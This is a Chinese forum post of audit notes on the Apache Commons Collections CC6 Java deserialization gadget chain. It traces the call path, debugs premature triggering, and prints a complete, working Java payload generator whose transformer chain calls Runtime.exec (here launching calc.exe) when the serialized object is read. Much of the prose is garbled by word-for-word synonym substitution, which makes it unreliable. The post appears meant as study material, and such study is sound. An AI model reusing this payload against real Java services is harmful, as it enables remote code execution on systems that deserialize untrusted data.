马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有账号?立即注册
×
java-CC6链审计条记
一、审计过程
1、lazyMap
在之前CC1的审计中发现ChainedTransformer的transform方法还可以被LazyMap的get方法调用
- public Object get(Object key) {
- // create value for key if key is not currently in the map
- if (map.containsKey(key) == false) {
- Object value = factory.transform(key);
- map.put(key, value);
- return value;
- }
- return map.get(key);
- }
复制代码 以是只要令factory的值为ChainedTransformer对象,则可以实现调用。而protected final Transformer factory; 则界说了factory是一个类属性,以是只要可以或许通过构造方法对类属性举行赋值,则可以实现对象的通报。
- protected LazyMap(Map map, Transformer factory) {
- super(map);
- if (factory == null) {
- throw new IllegalArgumentException("Factory must not be null");
- }
- this.factory = factory;
- }
复制代码 同时,还须要令 if (map.containsKey(key) == false) 条件满意,则阐明Map对象中不能包罗对应的Key值,则才会进入If语句中举行调用。
CC1扩展
接下来探求谁在调用LazyMap的get方法,通过Find Usage找到了3000多个匹配的地方,此中也包罗AnnotationInvocationHandler
着实这也是CC1链的一个扩展,但是由于仍然是对AnnotationInvocationHandler举行反序列化,同样不实用于新版本JDK,以是该链不举行审计。
2、TiedMapEntry
发现Common Collections库中的TiedMapEntry调用了get方法。
谁在调用getValue方法,发现同类中的hashCode方法在调用。
而那里有hashCode呢,着实在审计UrlDNS链时已经知道了,HashMap就存在hashCode方法,且HashMap自己就重写了readObject,可以较好地实现反序列化和自动调用。以是CC6相对是比力容易明白的,而且不依靠于JDK版本,实用性也很高。如今确定的调用链如下:
- java.io.ObjectInputStream.readObject()
- java.util.HashMap.put()
- java.util.HashMap.hashCode()
- org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
- org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
- org.apache.commons.collections.map.LazyMap.get()
- org.apache.commons.collections.functors.ChainedTransformer.transform()
- org.apache.commons.collections.functors.InvokerTransformer.transform()
- java.lang.reflect.Method.invoke()
- java.lang.Runtime.exec()
复制代码 二、编写链条使用
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.ConstantTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.keyvalue.TiedMapEntry;
- import org.apache.commons.collections.map.LazyMap;
- import java.io.*;
- import java.lang.reflect.Method;
- import java.util.HashMap;
- import java.util.Map;
- public class ApacheCC6 {
- public void CC6_ser() throws Exception {
- // transformer[]数组,相当于一下代码的执行。
- /*
- Class<Runtime> runtimeClass = Runtime.class;
- Method method = runtimeClass.getMethod("getRuntime", null);
- Runtime runtime = (Runtime) method.invoke(null);
- runtime.exec("calc.exe");
- */
- Transformer[] transformers = new Transformer[]{
- // 1.相当于Class<Runtime> runtimeClass = Runtime.class;
- new ConstantTransformer(Runtime.class),
- // 2.相当于Method method = runtimeClass.getMethod("getRuntime", null);
- new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
- new Object[]{"getRuntime", null}),
- // 3.相当于runtime = (Runtime) method.invoke(null);
- new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
- new Object[]{null, null}),
- // 4.相当于runtime.exec("calc.exe");
- new InvokerTransformer("exec", new Class[]{String.class},
- new Object[]{"calc.exe"})
- };
- ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
- // 创建lazymap,并传入chainedTransformer对象
- /*
- LazyMap有一个静态方法可以让我拿到它的对象实例
- public static Map decorate(Map map, Factory factory) {
- return new LazyMap(map, factory);
- }
- */
- LazyMap Lazymap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);
- // 创建TiedMapEntry对象,并绑定Lazymap对象
- TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap, "lingx5");
- // 创建HashMap对象,并将TiedMapEntry作为Key进行处理
- Map<Object, Object> map = new HashMap<>();
- map.put(tiedMapEntry, "lingx5");
- FileOutputStream fos = new FileOutputStream("src/main/upload/ApacheCC6.ser");
- ObjectOutputStream oos = new ObjectOutputStream(fos);
- oos.writeObject(map);
- }
- public void unserializeCC6() throws Exception {
- FileInputStream fis = new FileInputStream("src/main/upload/ApacheCC6.ser");
- ObjectInputStream ois = new ObjectInputStream(fis);
- ois.readObject();
- System.out.println("运行完成");
- }
- public static void main(String[] args) throws Exception {
- ApacheCC6 cc6 = new ApacheCC6();
- cc6.CC6_ser();
- // cc6.unserializeCC6();
- };
- }
复制代码
乐成弹出盘算机
这只是在序列化,并没有反序列化他就弹出了盘算器。同时报错Exception in thread "main" java.io.NotSerializableException: java.lang.ProcessImpl
我们在下面办理这个题目
三、非常调试
由于HashMap的put方法会导致提前调用hashCode()方法,从而在序列化的时间就下令实验
- Exception in thread "main" java.io.NotSerializableException: java.lang.ProcessImpl
复制代码 这个报错也是Runtime在实验方法时的底层类实现类对象,由于ProcessImpl对象不能被序列化而导致的报错
我们使用ChainedTransformer的Transform()方法一步一步循环从而得到了Runtime类。以是我们在lazyMap实例化的时间不传入ChainedTransformer对象,而是传入一个其他偶然义的类。在通过反射的方式修改JVM已经加载的LazyMap对象。修改之后在举行序列化。
LazyMap实例化
- LazyMap Lazymap = (LazyMap) LazyMap.decorate(new HashMap(), new ConstantTransformer(null));
复制代码 反射修改
- Class<? extends LazyMap> Clazz = Lazymap.getClass();
- Field factory = Clazz.getDeclaredField("factory");
- factory.setAccessible(true);
- factory.set(Lazymap, chainedTransformer);
复制代码 修改后
- import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class ApacheCC6 { public void CC6_ser() throws Exception { // transformer[]数组,相当于一下代码的实验。 /* Class<Runtime> runtimeClass = Runtime.class; Method method = runtimeClass.getMethod("getRuntime", null); Runtime runtime = (Runtime) method.invoke(null); runtime.exec("calc.exe"); */ Transformer[] transformers = new Transformer[]{ // 1.相当于Class<Runtime> runtimeClass = Runtime.class; new ConstantTransformer(Runtime.class), // 2.相当于Method method = runtimeClass.getMethod("getRuntime", null); new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), // 3.相当于runtime = (Runtime) method.invoke(null); new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), // 4.相当于runtime.exec("calc.exe"); new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 创建lazymap,并传入chainedTransformer对象 /* LazyMap有一个静态方法可以让我拿到它的对象实例 public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } */ LazyMap Lazymap = (LazyMap) LazyMap.decorate(new HashMap(), new ConstantTransformer(null));
- // 创建TiedMapEntry对象,并绑定Lazymap对象 TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap, "lingx5"); // 创建HashMap对象,并将TiedMapEntry作为Key举行处理处罚 Map<Object, Object> map = new HashMap<>(); map.put(tiedMapEntry, "lingx5"); // 在实验put之后,反射修改LazyMap对象的factory属性 Class<? extends LazyMap> Clazz = Lazymap.getClass(); Field factory = Clazz.getDeclaredField("factory"); factory.setAccessible(true); factory.set(Lazymap, chainedTransformer); FileOutputStream fos = new FileOutputStream("src/main/upload/ApacheCC6.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(map); } public void unserializeCC6() throws Exception { FileInputStream fis = new FileInputStream("src/main/upload/ApacheCC6.ser"); ObjectInputStream ois = new ObjectInputStream(fis); ois.readObject(); System.out.println("运行完成"); } public static void main(String[] args) throws Exception { ApacheCC6 cc6 = new ApacheCC6(); cc6.CC6_ser(); cc6.unserializeCC6(); };}
复制代码 如今没有报错了,但是他也不弹盘算机了。我们调试一下看是那里的题目

看到if语句里的表达式为false,以是没有调用factory.transform(key)方法
这是由于在map.put(tiedMapEntry, “lingx5”)实验时,触发TiedMapEntry的hashCode方法调用LazyMap.get(“lingx5”)该key来自TiedMapEntry构造时的第二个参数。此时LazyMap的factory照旧初始值,但根据LazyMap特性,若key不存在会自动创建条目,导致"lingx5"被注入到初始空HashMap中。
我们继续修改,把key(lingx5)删除
- // 反射和直接删除都是可以的,因为remove的修饰符是public
- /* 反射删除
- Method remove = Clazz.getMethod("remove", Object.class);
- remove.invoke(Lazymap, "lingx5");
- */
- // 直接删除
- Lazymap.remove("lingx5");
复制代码 四、终极代码
- import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class ApacheCC6 { public void CC6_ser() throws Exception { // transformer[]数组,相当于一下代码的实验。 /* Class<Runtime> runtimeClass = Runtime.class; Method method = runtimeClass.getMethod("getRuntime", null); Runtime runtime = (Runtime) method.invoke(null); runtime.exec("calc.exe"); */ Transformer[] transformers = new Transformer[]{ // 1.相当于Class<Runtime> runtimeClass = Runtime.class; new ConstantTransformer(Runtime.class), // 2.相当于Method method = runtimeClass.getMethod("getRuntime", null); new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), // 3.相当于runtime = (Runtime) method.invoke(null); new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), // 4.相当于runtime.exec("calc.exe"); new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 创建lazymap,并传入chainedTransformer对象 /* LazyMap有一个静态方法可以让我拿到它的对象实例 public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } */ LazyMap Lazymap = (LazyMap) LazyMap.decorate(new HashMap(), new ConstantTransformer(null));
- // 创建TiedMapEntry对象,并绑定Lazymap对象 TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap, "lingx5"); // 创建HashMap对象,并将TiedMapEntry作为Key举行处理处罚 Map<Object, Object> map = new HashMap<>(); map.put(tiedMapEntry, "lingx5"); // 在实验put之后,反射修改LazyMap对象的factory属性 Class<? extends LazyMap> Clazz = Lazymap.getClass(); Field factory = Clazz.getDeclaredField("factory"); factory.setAccessible(true); factory.set(Lazymap, chainedTransformer); // 删除名为ingx5的key /* Method remove = Clazz.getMethod("remove", Object.class); remove.invoke(Lazymap, "lingx5"); */ Lazymap.remove("lingx5"); FileOutputStream fos = new FileOutputStream("src/main/upload/ApacheCC6.ser"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(map); } public void unserializeCC6() throws Exception { FileInputStream fis = new FileInputStream("src/main/upload/ApacheCC6.ser"); ObjectInputStream ois = new ObjectInputStream(fis); ois.readObject(); System.out.println("运行完成"); } public static void main(String[] args) throws Exception { ApacheCC6 cc6 = new ApacheCC6(); cc6.CC6_ser(); cc6.unserializeCC6(); };}
复制代码
|